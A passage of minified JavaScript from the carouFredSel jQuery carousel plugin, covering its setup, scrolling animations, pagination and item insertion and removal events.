$cfs=this,$tt0=this[0],starting_position=!1;$cfs.data(\"_cfs_isCarousel\")&&(starting_position=$cfs.triggerHandler(\"_cfs_triggerEvent\",\"currentPosition\"),$cfs.trigger(\"_cfs_triggerEvent\",[\"destroy\",!0]));var FN={};FN._init=function(a,b,c){a=go_getObject($tt0,a),a.items=go_getItemsObject($tt0,a.items),a.scroll=go_getScrollObject($tt0,a.scroll),a.auto=go_getAutoObject($tt0,a.auto),a.prev=go_getPrevNextObject($tt0,a.prev),a.next=go_getPrevNextObject($tt0,a.next),a.pagination=go_getPaginationObject($tt0,a.pagination),a.swipe=go_getSwipeObject($tt0,a.swipe),a.mousewheel=go_getMousewheelObject($tt0,a.mousewheel),b&&(opts_orig=$.extend(!0,{},$.fn.carouFredSel.defaults,a)),opts=$.extend(!0,{},$.fn.carouFredSel.defaults,a),opts.d=cf_getDimensions(opts),crsl.direction=\"up\"==opts.direction||\"left\"==opts.direction?\"next\":\"prev\";var d=$cfs.children(),e=ms_getParentSize($wrp,opts,\"width\");if(is_true(opts.cookie)&&(opts.cookie=\"caroufredsel_cookie_\"+conf.serialNumber),opts.maxDimension=ms_getMaxDimension(opts,e),opts.items=in_complementItems(opts.items,opts,d,c),opts[opts.d.width]=in_complementPrimarySize(opts[opts.d.width],opts,d),opts[opts.d.height]=in_complementSecondarySize(opts[opts.d.height],opts,d),opts.responsive&&(is_percentage(opts[opts.d.width])||(opts[opts.d.width]=\"100%\")),is_percentage(opts[opts.d.width])&&(crsl.upDateOnWindowResize=!0,crsl.primarySizePercentage=opts[opts.d.width],opts[opts.d.width]=ms_getPercentage(e,crsl.primarySizePercentage),opts.items.visible||(opts.items.visibleConf.variable=!0)),opts.responsive?(opts.usePadding=!1,opts.padding=[0,0,0,0],opts.align=!1,opts.items.visibleConf.variable=!1):(opts.items.visible||(opts=in_complementVisibleItems(opts,e)),opts[opts.d.width]||(!opts.items.visibleConf.variable&&is_number(opts.items[opts.d.width])&&\"*\"==opts.items.filter?(opts[opts.d.width]=opts.items.visible*opts.items[opts.d.width],opts.align=!1):opts[opts.d.width]=\"variable\"),is_undefined(opts.align)&&(opts.align=is_number(opts[opts.d.width])?\"center\":!1),opts.items.visibleConf.variable&&(opts.items.visible=gn_getVisibleItemsNext(d,opts,0))),\"*\"==opts.items.filter||opts.items.visibleConf.variable||(opts.items.visibleConf.org=opts.items.visible,opts.items.visible=gn_getVisibleItemsNextFilter(d,opts,0)),opts.items.visible=cf_getItemsAdjust(opts.items.visible,opts,opts.items.visibleConf.adjust,$tt0),opts.items.visibleConf.old=opts.items.visible,opts.responsive)opts.items.visibleConf.min||(opts.items.visibleConf.min=opts.items.visible),opts.items.visibleConf.max||(opts.items.visibleConf.max=opts.items.visible),opts=in_getResponsiveValues(opts,d,e);else switch(opts.padding=cf_getPadding(opts.padding),\"top\"==opts.align?opts.align=\"left\":\"bottom\"==opts.align&&(opts.align=\"right\"),opts.align){case\"center\":case\"left\":case\"right\":\"variable\"!=opts[opts.d.width]&&(opts=in_getAlignPadding(opts,d),opts.usePadding=!0);break;default:opts.align=!1,opts.usePadding=0==opts.padding[0]&&0==opts.padding[1]&&0==opts.padding[2]&&0==opts.padding[3]?!1:!0}is_number(opts.scroll.duration)||(opts.scroll.duration=500),is_undefined(opts.scroll.items)&&(opts.scroll.items=opts.responsive||opts.items.visibleConf.variable||\"*\"!=opts.items.filter?\"visible\":opts.items.visible),opts.auto=$.extend(!0,{},opts.scroll,opts.auto),opts.prev=$.extend(!0,{},opts.scroll,opts.prev),opts.next=$.extend(!0,{},opts.scroll,opts.next),opts.pagination=$.extend(!0,{},opts.scroll,opts.pagination),opts.auto=go_complementAutoObject($tt0,opts.auto),opts.prev=go_complementPrevNextObject($tt0,opts.prev),opts.next=go_complementPrevNextObject($tt0,opts.next),opts.pagination=go_complementPaginationObject($tt0,opts.pagination),opts.swipe=go_complementSwipeObject($tt0,opts.swipe),opts.mousewheel=go_complementMousewheelObject($tt0,opts.mousewheel),opts.synchronise&&(opts.synchronise=cf_getSynchArr(opts.synchronise)),opts.auto.onPauseStart&&(opts.auto.onTimeoutStart=opts.auto.onPauseStart,deprecated(\"auto.onPauseStart\",\"auto.onTimeoutStart\")),opts.auto.onPausePause&&(opts.auto.onTimeoutPause=opts.auto.onPausePause,deprecated(\"auto.onPausePause\",\"auto.onTimeoutPause\")),opts.auto.onPauseEnd&&(opts.auto.onTimeoutEnd=opts.auto.onPauseEnd,deprecated(\"auto.onPauseEnd\",\"auto.onTimeoutEnd\")),opts.auto.pauseDuration&&(opts.auto.timeoutDuration=opts.auto.pauseDuration,deprecated(\"auto.pauseDuration\",\"auto.timeoutDuration\"))},FN._build=function(){$cfs.data(\"_cfs_isCarousel\",!0);var a=$cfs.children(),b=in_mapCss($cfs,[\"textAlign\",\"float\",\"position\",\"top\",\"right\",\"bottom\",\"left\",\"zIndex\",\"width\",\"height\",\"marginTop\",\"marginRight\",\"marginBottom\",\"marginLeft\"]),c=\"relative\";switch(b.position){case\"absolute\":case\"fixed\":c=b.position}\"parent\"==conf.wrapper?sz_storeOrigCss($wrp):$wrp.css(b),$wrp.css({overflow:\"hidden\",position:c}),sz_storeOrigCss($cfs),$cfs.data(\"_cfs_origCssZindex\",b.zIndex),$cfs.css({textAlign:\"left\",\"float\":\"none\",position:\"absolute\",top:0,right:\"auto\",bottom:\"auto\",left:0,marginTop:0,marginRight:0,marginBottom:0,marginLeft:0}),sz_storeMargin(a,opts),sz_storeOrigCss(a),opts.responsive&&sz_setResponsiveSizes(opts,a)},FN._bind_events=function(){FN._unbind_events(),$cfs.bind(cf_e(\"stop\",conf),function(a,b){return a.stopPropagation(),crsl.isStopped||opts.auto.button&&opts.auto.button.addClass(cf_c(\"stopped\",conf)),crsl.isStopped=!0,opts.auto.play&&(opts.auto.play=!1,$cfs.trigger(cf_e(\"pause\",conf),b)),!0}),$cfs.bind(cf_e(\"finish\",conf),function(a){return a.stopPropagation(),crsl.isScrolling&&sc_stopScroll(scrl),!0}),$cfs.bind(cf_e(\"pause\",conf),function(a,b,c){if(a.stopPropagation(),tmrs=sc_clearTimers(tmrs),b&&crsl.isScrolling){scrl.isStopped=!0;var d=getTime()-scrl.startTime;scrl.duration-=d,scrl.pre&&(scrl.pre.duration-=d),scrl.post&&(scrl.post.duration-=d),sc_stopScroll(scrl,!1)}if(crsl.isPaused||crsl.isScrolling||c&&(tmrs.timePassed+=getTime()-tmrs.startTime),crsl.isPaused||opts.auto.button&&opts.auto.button.addClass(cf_c(\"paused\",conf)),crsl.isPaused=!0,opts.auto.onTimeoutPause){var e=opts.auto.timeoutDuration-tmrs.timePassed,f=100-Math.ceil(100*e/opts.auto.timeoutDuration);opts.auto.onTimeoutPause.call($tt0,f,e)}return!0}),$cfs.bind(cf_e(\"play\",conf),function(a,b,c,d){a.stopPropagation(),tmrs=sc_clearTimers(tmrs);var e=[b,c,d],f=[\"string\",\"number\",\"boolean\"],g=cf_sortParams(e,f);if(b=g[0],c=g[1],d=g[2],\"prev\"!=b&&\"next\"!=b&&(b=crsl.direction),is_number(c)||(c=0),is_boolean(d)||(d=!1),d&&(crsl.isStopped=!1,opts.auto.play=!0),!opts.auto.play)return a.stopImmediatePropagation(),debug(conf,\"Carousel stopped: Not scrolling.\");crsl.isPaused&&opts.auto.button&&(opts.auto.button.removeClass(cf_c(\"stopped\",conf)),opts.auto.button.removeClass(cf_c(\"paused\",conf))),crsl.isPaused=!1,tmrs.startTime=getTime();var h=opts.auto.timeoutDuration+c;return dur2=h-tmrs.timePassed,perc=100-Math.ceil(100*dur2/h),opts.auto.progress&&(tmrs.progress=setInterval(function(){var a=getTime()-tmrs.startTime+tmrs.timePassed,b=Math.ceil(100*a/h);opts.auto.progress.updater.call(opts.auto.progress.bar[0],b)},opts.auto.progress.interval)),tmrs.auto=setTimeout(function(){opts.auto.progress&&opts.auto.progress.updater.call(opts.auto.progress.bar[0],100),opts.auto.onTimeoutEnd&&opts.auto.onTimeoutEnd.call($tt0,perc,dur2),crsl.isScrolling?$cfs.trigger(cf_e(\"play\",conf),b):$cfs.trigger(cf_e(b,conf),opts.auto)},dur2),opts.auto.onTimeoutStart&&opts.auto.onTimeoutStart.call($tt0,perc,dur2),!0}),$cfs.bind(cf_e(\"resume\",conf),function(a){return a.stopPropagation(),scrl.isStopped?(scrl.isStopped=!1,crsl.isPaused=!1,crsl.isScrolling=!0,scrl.startTime=getTime(),sc_startScroll(scrl,conf)):$cfs.trigger(cf_e(\"play\",conf)),!0}),$cfs.bind(cf_e(\"prev\",conf)+\" \"+cf_e(\"next\",conf),function(a,b,c,d,e){if(a.stopPropagation(),crsl.isStopped||$cfs.is(\":hidden\"))return a.stopImmediatePropagation(),debug(conf,\"Carousel stopped or hidden: Not scrolling.\");var f=is_number(opts.items.minimum)?opts.items.minimum:opts.items.visible+1;if(f>itms.total)return a.stopImmediatePropagation(),debug(conf,\"Not enough items (\"+itms.total+\" total, \"+f+\" needed): Not scrolling.\");var g=[b,c,d,e],h=[\"object\",\"number/string\",\"function\",\"boolean\"],i=cf_sortParams(g,h);b=i[0],c=i[1],d=i[2],e=i[3];var j=a.type.slice(conf.events.prefix.length);if(is_object(b)||(b={}),is_function(d)&&(b.onAfter=d),is_boolean(e)&&(b.queue=e),b=$.extend(!0,{},opts[j],b),b.conditions&&!b.conditions.call($tt0,j))return a.stopImmediatePropagation(),debug(conf,'Callback \"conditions\" returned false.');if(!is_number(c)){if(\"*\"!=opts.items.filter)c=\"visible\";else for(var k=[c,b.items,opts[j].items],i=0,l=k.length;l>i;i++)if(is_number(k[i])||\"page\"==k[i]||\"visible\"==k[i]){c=k[i];break}switch(c){case\"page\":return a.stopImmediatePropagation(),$cfs.triggerHandler(cf_e(j+\"Page\",conf),[b,d]);case\"visible\":opts.items.visibleConf.variable||\"*\"!=opts.items.filter||(c=opts.items.visible)}}if(scrl.isStopped)return $cfs.trigger(cf_e(\"resume\",conf)),$cfs.trigger(cf_e(\"queue\",conf),[j,[b,c,d]]),a.stopImmediatePropagation(),debug(conf,\"Carousel resumed scrolling.\");if(b.duration>0&&crsl.isScrolling)return b.queue&&(\"last\"==b.queue&&(queu=[]),(\"first\"!=b.queue||0==queu.length)&&$cfs.trigger(cf_e(\"queue\",conf),[j,[b,c,d]])),a.stopImmediatePropagation(),debug(conf,\"Carousel currently scrolling.\");if(tmrs.timePassed=0,$cfs.trigger(cf_e(\"slide_\"+j,conf),[b,c]),opts.synchronise)for(var m=opts.synchronise,n=[b,c],o=0,l=m.length;l>o;o++){var p=j;m[o][2]||(p=\"prev\"==p?\"next\":\"prev\"),m[o][1]||(n[0]=m[o][0].triggerHandler(\"_cfs_triggerEvent\",[\"configuration\",p])),n[1]=c+m[o][3],m[o][0].trigger(\"_cfs_triggerEvent\",[\"slide_\"+p,n])}return!0}),$cfs.bind(cf_e(\"slide_prev\",conf),function(a,b,c){a.stopPropagation();var d=$cfs.children();if(!opts.circular&&0==itms.first)return opts.infinite&&$cfs.trigger(cf_e(\"next\",conf),itms.total-1),a.stopImmediatePropagation();if(sz_resetMargin(d,opts),!is_number(c)){if(opts.items.visibleConf.variable)c=gn_getVisibleItemsPrev(d,opts,itms.total-1);else if(\"*\"!=opts.items.filter){var e=is_number(b.items)?b.items:gn_getVisibleOrg($cfs,opts);c=gn_getScrollItemsPrevFilter(d,opts,itms.total-1,e)}else c=opts.items.visible;c=cf_getAdjust(c,opts,b.items,$tt0)}if(opts.circular||itms.total-c<itms.first&&(c=itms.total-itms.first),opts.items.visibleConf.old=opts.items.visible,opts.items.visibleConf.variable){var f=cf_getItemsAdjust(gn_getVisibleItemsNext(d,opts,itms.total-c),opts,opts.items.visibleConf.adjust,$tt0);f>=opts.items.visible+c&&itms.total>c&&(c++,f=cf_getItemsAdjust(gn_getVisibleItemsNext(d,opts,itms.total-c),opts,opts.items.visibleConf.adjust,$tt0)),opts.items.visible=f}else if(\"*\"!=opts.items.filter){var f=gn_getVisibleItemsNextFilter(d,opts,itms.total-c);opts.items.visible=cf_getItemsAdjust(f,opts,opts.items.visibleConf.adjust,$tt0)}if(sz_resetMargin(d,opts,!0),0==c)return a.stopImmediatePropagation(),debug(conf,\"0 items to scroll: Not scrolling.\");for(debug(conf,\"Scrolling \"+c+\" items backward.\"),itms.first+=c;itms.first>=itms.total;)itms.first-=itms.total;opts.circular||(0==itms.first&&b.onEnd&&b.onEnd.call($tt0,\"prev\"),opts.infinite||nv_enableNavi(opts,itms.first,conf)),$cfs.children().slice(itms.total-c,itms.total).prependTo($cfs),itms.total<opts.items.visible+c&&$cfs.children().slice(0,opts.items.visible+c-itms.total).clone(!0).appendTo($cfs);var d=$cfs.children(),g=gi_getOldItemsPrev(d,opts,c),h=gi_getNewItemsPrev(d,opts),i=d.eq(c-1),j=g.last(),k=h.last();sz_resetMargin(d,opts);var l=0,m=0;if(opts.align){var n=cf_getAlignPadding(h,opts);l=n[0],m=n[1]}var o=0>l?opts.padding[opts.d[3]]:0,p=!1,q=$();if(c>opts.items.visible&&(q=d.slice(opts.items.visibleConf.old,c),\"directscroll\"==b.fx)){var r=opts.items[opts.d.width];p=q,i=k,sc_hideHiddenItems(p),opts.items[opts.d.width]=\"variable\"}var s=!1,t=ms_getTotalSize(d.slice(0,c),opts,\"width\"),u=cf_mapWrapperSizes(ms_getSizes(h,opts,!0),opts,!opts.usePadding),v=0,w={},x={},y={},z={},A={},B={},C={},D=sc_getDuration(b,opts,c,t);switch(b.fx){case\"cover\":case\"cover-fade\":v=ms_getTotalSize(d.slice(0,opts.items.visible),opts,\"width\")}p&&(opts.items[opts.d.width]=r),sz_resetMargin(d,opts,!0),m>=0&&sz_resetMargin(j,opts,opts.padding[opts.d[1]]),l>=0&&sz_resetMargin(i,opts,opts.padding[opts.d[3]]),opts.align&&(opts.padding[opts.d[1]]=m,opts.padding[opts.d[3]]=l),B[opts.d.left]=-(t-o),C[opts.d.left]=-(v-o),x[opts.d.left]=u[opts.d.width];var E=function(){},F=function(){},G=function(){},H=function(){},I=function(){},J=function(){},K=function(){},L=function(){},M=function(){},N=function(){},O=function(){};switch(b.fx){case\"crossfade\":case\"cover\":case\"cover-fade\":case\"uncover\":case\"uncover-fade\":s=$cfs.clone(!0).appendTo($wrp)}switch(b.fx){case\"crossfade\":case\"uncover\":case\"uncover-fade\":s.children().slice(0,c).remove(),s.children().slice(opts.items.visibleConf.old).remove();break;case\"cover\":case\"cover-fade\":s.children().slice(opts.items.visible).remove(),s.css(C)}if($cfs.css(B),scrl=sc_setScroll(D,b.easing,conf),w[opts.d.left]=opts.usePadding?opts.padding[opts.d[3]]:0,(\"variable\"==opts[opts.d.width]||\"variable\"==opts[opts.d.height])&&(E=function(){$wrp.css(u)},F=function(){scrl.anims.push([$wrp,u])}),opts.usePadding){switch(k.not(i).length&&(y[opts.d.marginRight]=i.data(\"_cfs_origCssMargin\"),0>l?i.css(y):(K=function(){i.css(y)},L=function(){scrl.anims.push([i,y])})),b.fx){case\"cover\":case\"cover-fade\":s.children().eq(c-1).css(y)}k.not(j).length&&(z[opts.d.marginRight]=j.data(\"_cfs_origCssMargin\"),G=function(){j.css(z)},H=function(){scrl.anims.push([j,z])}),m>=0&&(A[opts.d.marginRight]=k.data(\"_cfs_origCssMargin\")+opts.padding[opts.d[1]],I=function(){k.css(A)},J=function(){scrl.anims.push([k,A])})}O=function(){$cfs.css(w)};var P=opts.items.visible+c-itms.total;N=function(){if(P>0&&($cfs.children().slice(itms.total).remove(),g=$($cfs.children().slice(itms.total-(opts.items.visible-P)).get().concat($cfs.children().slice(0,P).get()))),sc_showHiddenItems(p),opts.usePadding){var a=$cfs.children().eq(opts.items.visible+c-1);a.css(opts.d.marginRight,a.data(\"_cfs_origCssMargin\"))}};var Q=sc_mapCallbackArguments(g,q,h,c,\"prev\",D,u);switch(M=function(){sc_afterScroll($cfs,s,b),crsl.isScrolling=!1,clbk.onAfter=sc_fireCallbacks($tt0,b,\"onAfter\",Q,clbk),queu=sc_fireQueue($cfs,queu,conf),crsl.isPaused||$cfs.trigger(cf_e(\"play\",conf))},crsl.isScrolling=!0,tmrs=sc_clearTimers(tmrs),clbk.onBefore=sc_fireCallbacks($tt0,b,\"onBefore\",Q,clbk),b.fx){case\"none\":$cfs.css(w),E(),G(),I(),K(),O(),N(),M();break;case\"fade\":scrl.anims.push([$cfs,{opacity:0},function(){E(),G(),I(),K(),O(),N(),scrl=sc_setScroll(D,b.easing,conf),scrl.anims.push([$cfs,{opacity:1},M]),sc_startScroll(scrl,conf)}]);break;case\"crossfade\":$cfs.css({opacity:0}),scrl.anims.push([s,{opacity:0}]),scrl.anims.push([$cfs,{opacity:1},M]),F(),G(),I(),K(),O(),N();break;case\"cover\":scrl.anims.push([s,w,function(){G(),I(),K(),O(),N(),M()}]),F();break;case\"cover-fade\":scrl.anims.push([$cfs,{opacity:0}]),scrl.anims.push([s,w,function(){G(),I(),K(),O(),N(),M()}]),F();break;case\"uncover\":scrl.anims.push([s,x,M]),F(),G(),I(),K(),O(),N();break;case\"uncover-fade\":$cfs.css({opacity:0}),scrl.anims.push([$cfs,{opacity:1}]),scrl.anims.push([s,x,M]),F(),G(),I(),K(),O(),N();break;default:scrl.anims.push([$cfs,w,function(){N(),M()}]),F(),H(),J(),L()}return sc_startScroll(scrl,conf),cf_setCookie(opts.cookie,$cfs,conf),$cfs.trigger(cf_e(\"updatePageStatus\",conf),[!1,u]),!0}),$cfs.bind(cf_e(\"slide_next\",conf),function(a,b,c){a.stopPropagation();var d=$cfs.children();if(!opts.circular&&itms.first==opts.items.visible)return opts.infinite&&$cfs.trigger(cf_e(\"prev\",conf),itms.total-1),a.stopImmediatePropagation();if(sz_resetMargin(d,opts),!is_number(c)){if(\"*\"!=opts.items.filter){var e=is_number(b.items)?b.items:gn_getVisibleOrg($cfs,opts);c=gn_getScrollItemsNextFilter(d,opts,0,e)}else c=opts.items.visible;c=cf_getAdjust(c,opts,b.items,$tt0)}var f=0==itms.first?itms.total:itms.first;if(!opts.circular){if(opts.items.visibleConf.variable)var g=gn_getVisibleItemsNext(d,opts,c),e=gn_getVisibleItemsPrev(d,opts,f-1);else var g=opts.items.visible,e=opts.items.visible;c+g>f&&(c=f-e)}if(opts.items.visibleConf.old=opts.items.visible,opts.items.visibleConf.variable){for(var g=cf_getItemsAdjust(gn_getVisibleItemsNextTestCircular(d,opts,c,f),opts,opts.items.visibleConf.adjust,$tt0);opts.items.visible-c>=g&&itms.total>c;)c++,g=cf_getItemsAdjust(gn_getVisibleItemsNextTestCircular(d,opts,c,f),opts,opts.items.visibleConf.adjust,$tt0);opts.items.visible=g}else if(\"*\"!=opts.items.filter){var g=gn_getVisibleItemsNextFilter(d,opts,c);opts.items.visible=cf_getItemsAdjust(g,opts,opts.items.visibleConf.adjust,$tt0)}if(sz_resetMargin(d,opts,!0),0==c)return a.stopImmediatePropagation(),debug(conf,\"0 items to scroll: Not scrolling.\");for(debug(conf,\"Scrolling \"+c+\" items forward.\"),itms.first-=c;0>itms.first;)itms.first+=itms.total;opts.circular||(itms.first==opts.items.visible&&b.onEnd&&b.onEnd.call($tt0,\"next\"),opts.infinite||nv_enableNavi(opts,itms.first,conf)),itms.total<opts.items.visible+c&&$cfs.children().slice(0,opts.items.visible+c-itms.total).clone(!0).appendTo($cfs);var d=$cfs.children(),h=gi_getOldItemsNext(d,opts),i=gi_getNewItemsNext(d,opts,c),j=d.eq(c-1),k=h.last(),l=i.last();sz_resetMargin(d,opts);var m=0,n=0;if(opts.align){var o=cf_getAlignPadding(i,opts);m=o[0],n=o[1]}var p=!1,q=$();if(c>opts.items.visibleConf.old&&(q=d.slice(opts.items.visibleConf.old,c),\"directscroll\"==b.fx)){var r=opts.items[opts.d.width];p=q,j=k,sc_hideHiddenItems(p),opts.items[opts.d.width]=\"variable\"}var s=!1,t=ms_getTotalSize(d.slice(0,c),opts,\"width\"),u=cf_mapWrapperSizes(ms_getSizes(i,opts,!0),opts,!opts.usePadding),v=0,w={},x={},y={},z={},A={},B=sc_getDuration(b,opts,c,t);switch(b.fx){case\"uncover\":case\"uncover-fade\":v=ms_getTotalSize(d.slice(0,opts.items.visibleConf.old),opts,\"width\")}p&&(opts.items[opts.d.width]=r),opts.align&&0>opts.padding[opts.d[1]]&&(opts.padding[opts.d[1]]=0),sz_resetMargin(d,opts,!0),sz_resetMargin(k,opts,opts.padding[opts.d[1]]),opts.align&&(opts.padding[opts.d[1]]=n,opts.padding[opts.d[3]]=m),A[opts.d.left]=opts.usePadding?opts.padding[opts.d[3]]:0;var C=function(){},D=function(){},E=function(){},F=function(){},G=function(){},H=function(){},I=function(){},J=function(){},K=function(){};switch(b.fx){case\"crossfade\":case\"cover\":case\"cover-fade\":case\"uncover\":case\"uncover-fade\":s=$cfs.clone(!0).appendTo($wrp),s.children().slice(opts.items.visibleConf.old).remove()}switch(b.fx){case\"crossfade\":case\"cover\":case\"cover-fade\":$cfs.css(\"zIndex\",1),s.css(\"zIndex\",0)}if(scrl=sc_setScroll(B,b.easing,conf),w[opts.d.left]=-t,x[opts.d.left]=-v,0>m&&(w[opts.d.left]+=m),(\"variable\"==opts[opts.d.width]||\"variable\"==opts[opts.d.height])&&(C=function(){$wrp.css(u)},D=function(){scrl.anims.push([$wrp,u])}),opts.usePadding){var L=l.data(\"_cfs_origCssMargin\");n>=0&&(L+=opts.padding[opts.d[1]]),l.css(opts.d.marginRight,L),j.not(k).length&&(z[opts.d.marginRight]=k.data(\"_cfs_origCssMargin\")),E=function(){k.css(z)},F=function(){scrl.anims.push([k,z])};var M=j.data(\"_cfs_origCssMargin\");m>0&&(M+=opts.padding[opts.d[3]]),y[opts.d.marginRight]=M,G=function(){j.css(y)},H=function(){scrl.anims.push([j,y])}}K=function(){$cfs.css(A)};var N=opts.items.visible+c-itms.total;J=function(){N>0&&$cfs.children().slice(itms.total).remove();var a=$cfs.children().slice(0,c).appendTo($cfs).last();if(N>0&&(i=gi_getCurrentItems(d,opts)),sc_showHiddenItems(p),opts.usePadding){if(itms.total<opts.items.visible+c){var b=$cfs.children().eq(opts.items.visible-1);b.css(opts.d.marginRight,b.data(\"_cfs_origCssMargin\")+opts.padding[opts.d[1]])}a.css(opts.d.marginRight,a.data(\"_cfs_origCssMargin\"))}};var O=sc_mapCallbackArguments(h,q,i,c,\"next\",B,u);switch(I=function(){$cfs.css(\"zIndex\",$cfs.data(\"_cfs_origCssZindex\")),sc_afterScroll($cfs,s,b),crsl.isScrolling=!1,clbk.onAfter=sc_fireCallbacks($tt0,b,\"onAfter\",O,clbk),queu=sc_fireQueue($cfs,queu,conf),crsl.isPaused||$cfs.trigger(cf_e(\"play\",conf))},crsl.isScrolling=!0,tmrs=sc_clearTimers(tmrs),clbk.onBefore=sc_fireCallbacks($tt0,b,\"onBefore\",O,clbk),b.fx){case\"none\":$cfs.css(w),C(),E(),G(),K(),J(),I();break;case\"fade\":scrl.anims.push([$cfs,{opacity:0},function(){C(),E(),G(),K(),J(),scrl=sc_setScroll(B,b.easing,conf),scrl.anims.push([$cfs,{opacity:1},I]),sc_startScroll(scrl,conf)}]);break;case\"crossfade\":$cfs.css({opacity:0}),scrl.anims.push([s,{opacity:0}]),scrl.anims.push([$cfs,{opacity:1},I]),D(),E(),G(),K(),J();break;case\"cover\":$cfs.css(opts.d.left,$wrp[opts.d.width]()),scrl.anims.push([$cfs,A,I]),D(),E(),G(),J();break;case\"cover-fade\":$cfs.css(opts.d.left,$wrp[opts.d.width]()),scrl.anims.push([s,{opacity:0}]),scrl.anims.push([$cfs,A,I]),D(),E(),G(),J();break;case\"uncover\":scrl.anims.push([s,x,I]),D(),E(),G(),K(),J();break;case\"uncover-fade\":$cfs.css({opacity:0}),scrl.anims.push([$cfs,{opacity:1}]),scrl.anims.push([s,x,I]),D(),E(),G(),K(),J();break;default:scrl.anims.push([$cfs,w,function(){K(),J(),I()}]),D(),F(),H()}return sc_startScroll(scrl,conf),cf_setCookie(opts.cookie,$cfs,conf),$cfs.trigger(cf_e(\"updatePageStatus\",conf),[!1,u]),!0}),$cfs.bind(cf_e(\"slideTo\",conf),function(a,b,c,d,e,f,g){a.stopPropagation();var h=[b,c,d,e,f,g],i=[\"string/number/object\",\"number\",\"boolean\",\"object\",\"string\",\"function\"],j=cf_sortParams(h,i);return e=j[3],f=j[4],g=j[5],b=gn_getItemIndex(j[0],j[1],j[2],itms,$cfs),0==b?!1:(is_object(e)||(e=!1),\"prev\"!=f&&\"next\"!=f&&(f=opts.circular?itms.total/2>=b?\"next\":\"prev\":0==itms.first||itms.first>b?\"next\":\"prev\"),\"prev\"==f&&(b=itms.total-b),$cfs.trigger(cf_e(f,conf),[e,b,g]),!0)}),$cfs.bind(cf_e(\"prevPage\",conf),function(a,b,c){a.stopPropagation();var d=$cfs.triggerHandler(cf_e(\"currentPage\",conf));return $cfs.triggerHandler(cf_e(\"slideToPage\",conf),[d-1,b,\"prev\",c])}),$cfs.bind(cf_e(\"nextPage\",conf),function(a,b,c){a.stopPropagation();var d=$cfs.triggerHandler(cf_e(\"currentPage\",conf));return $cfs.triggerHandler(cf_e(\"slideToPage\",conf),[d+1,b,\"next\",c])}),$cfs.bind(cf_e(\"slideToPage\",conf),function(a,b,c,d,e){a.stopPropagation(),is_number(b)||(b=$cfs.triggerHandler(cf_e(\"currentPage\",conf)));var f=opts.pagination.items||opts.items.visible,g=Math.ceil(itms.total/f)-1;return 0>b&&(b=g),b>g&&(b=0),$cfs.triggerHandler(cf_e(\"slideTo\",conf),[b*f,0,!0,c,d,e])}),$cfs.bind(cf_e(\"jumpToStart\",conf),function(a,b){if(a.stopPropagation(),b=b?gn_getItemIndex(b,0,!0,itms,$cfs):0,b+=itms.first,0!=b){if(itms.total>0)for(;b>itms.total;)b-=itms.total;$cfs.prepend($cfs.children().slice(b,itms.total))}return!0}),$cfs.bind(cf_e(\"synchronise\",conf),function(a,b){if(a.stopPropagation(),b)b=cf_getSynchArr(b);else{if(!opts.synchronise)return debug(conf,\"No carousel to synchronise.\");b=opts.synchronise}for(var c=$cfs.triggerHandler(cf_e(\"currentPosition\",conf)),d=!0,e=0,f=b.length;f>e;e++)b[e][0].triggerHandler(cf_e(\"slideTo\",conf),[c,b[e][3],!0])||(d=!1);return d}),$cfs.bind(cf_e(\"queue\",conf),function(a,b,c){return a.stopPropagation(),is_function(b)?b.call($tt0,queu):is_array(b)?queu=b:is_undefined(b)||queu.push([b,c]),queu}),$cfs.bind(cf_e(\"insertItem\",conf),function(a,b,c,d,e){a.stopPropagation();var f=[b,c,d,e],g=[\"string/object\",\"string/number/object\",\"boolean\",\"number\"],h=cf_sortParams(f,g);if(b=h[0],c=h[1],d=h[2],e=h[3],is_object(b)&&!is_jquery(b)?b=$(b):is_string(b)&&(b=$(b)),!is_jquery(b)||0==b.length)return debug(conf,\"Not a valid object.\");is_undefined(c)&&(c=\"end\"),sz_storeMargin(b,opts),sz_storeOrigCss(b);var i=c,j=\"before\";\"end\"==c?d?(0==itms.first?(c=itms.total-1,j=\"after\"):(c=itms.first,itms.first+=b.length),0>c&&(c=0)):(c=itms.total-1,j=\"after\"):c=gn_getItemIndex(c,e,d,itms,$cfs);var k=$cfs.children().eq(c);return k.length?k[j](b):(debug(conf,\"Correct insert-position not found! Appending item to the end.\"),$cfs.append(b)),\"end\"==i||d||itms.first>c&&(itms.first+=b.length),itms.total=$cfs.children().length,itms.first>=itms.total&&(itms.first-=itms.total),$cfs.trigger(cf_e(\"updateSizes\",conf)),$cfs.trigger(cf_e(\"linkAnchors\",conf)),!0}),$cfs.bind(cf_e(\"removeItem\",conf),function(a,b,c,d){a.stopPropagation();var e=[b,c,d],f=[\"string/number/object\",\"boolean\",\"number\"],g=cf_sortParams(e,f);if(b=g[0],c=g[1],d=g[2],b instanceof $&&b.length>1)return i=$(),b.each(function(){var e=$cfs.trigger(cf_e(\"removeItem\",conf),[$(this),c,d]);e&&(i=i.add(e))}),i;if(is_undefined(b)||\"end\"==b)i=$cfs.children().last();else{b=gn_getItemIndex(b,d,c,itms,$cfs);var i=$cfs.children().eq(b);i.length&&itms.first>b&&(itms.first-=i.length)}return i&&i.length&&(i.detach(),itms.total=$cfs.children().length,$cfs.trigger(cf_e(\"updateSizes\",conf))),i}),$cfs.bind(cf_e(\"onBefore\",conf)+\" \"+cf_e(\"onAfter\",conf),function(a,b){a.stopPropagation();var c=a.type.slice(conf.events.prefix.length);return is_array(b)&&(clbk[c]=b),is_function(b)&&clbk[c].push(b),clbk[c]}),$cfs.bind(cf_e(\"currentPosition\",conf),function(a,b){if(a.stopPropagation(),0==itms.first)var c=0;else var c=itms.total-itms.first;return is_function(b)&&b.call($tt0,c),c}),$cfs.bind(cf_e(\"currentPage\",conf),function(a,b){a.stopPropagation();var e,c=opts.pagination.items||opts.items.visible,d=Math.ceil(itms.total/c-1);return e=0==itms.first?0:itms.first<itms.total%c?0:itms.first!=c||opts.circular?Math.round((itms.total-itms.first)/c):d,0>e&&(e=0),e>d&&(e=d),is_function(b)&&b.call($tt0,e),e}),$cfs.bind(cf_e(\"currentVisible\",conf),function(a,b){a.stopPropagation();var c=gi_getCurrentItems($cfs.children(),opts);return is_function(b)&&b.call($tt0,c),c}),$cfs.bind(cf_e(\"slice\",conf),function(a,b,c,d){if(a.stopPropagation(),0==itms.total)return!1;var e=[b,c,d],f=[\"number\",\"number\",\"function\"],g=cf_sortParams(e,f);if(b=is_number(g[0])?g[0]:0,c=is_number(g[1])?g[1]:itms.total,d=g[2],b+=itms.first,c+=itms.first,items.total>0){for(;b>itms.total;)b-=itms.total;for(;c>itms.total;)c-=itms.total;for(;0>b;)b+=itms.total;for(;0>c;)c+=itms.total}var 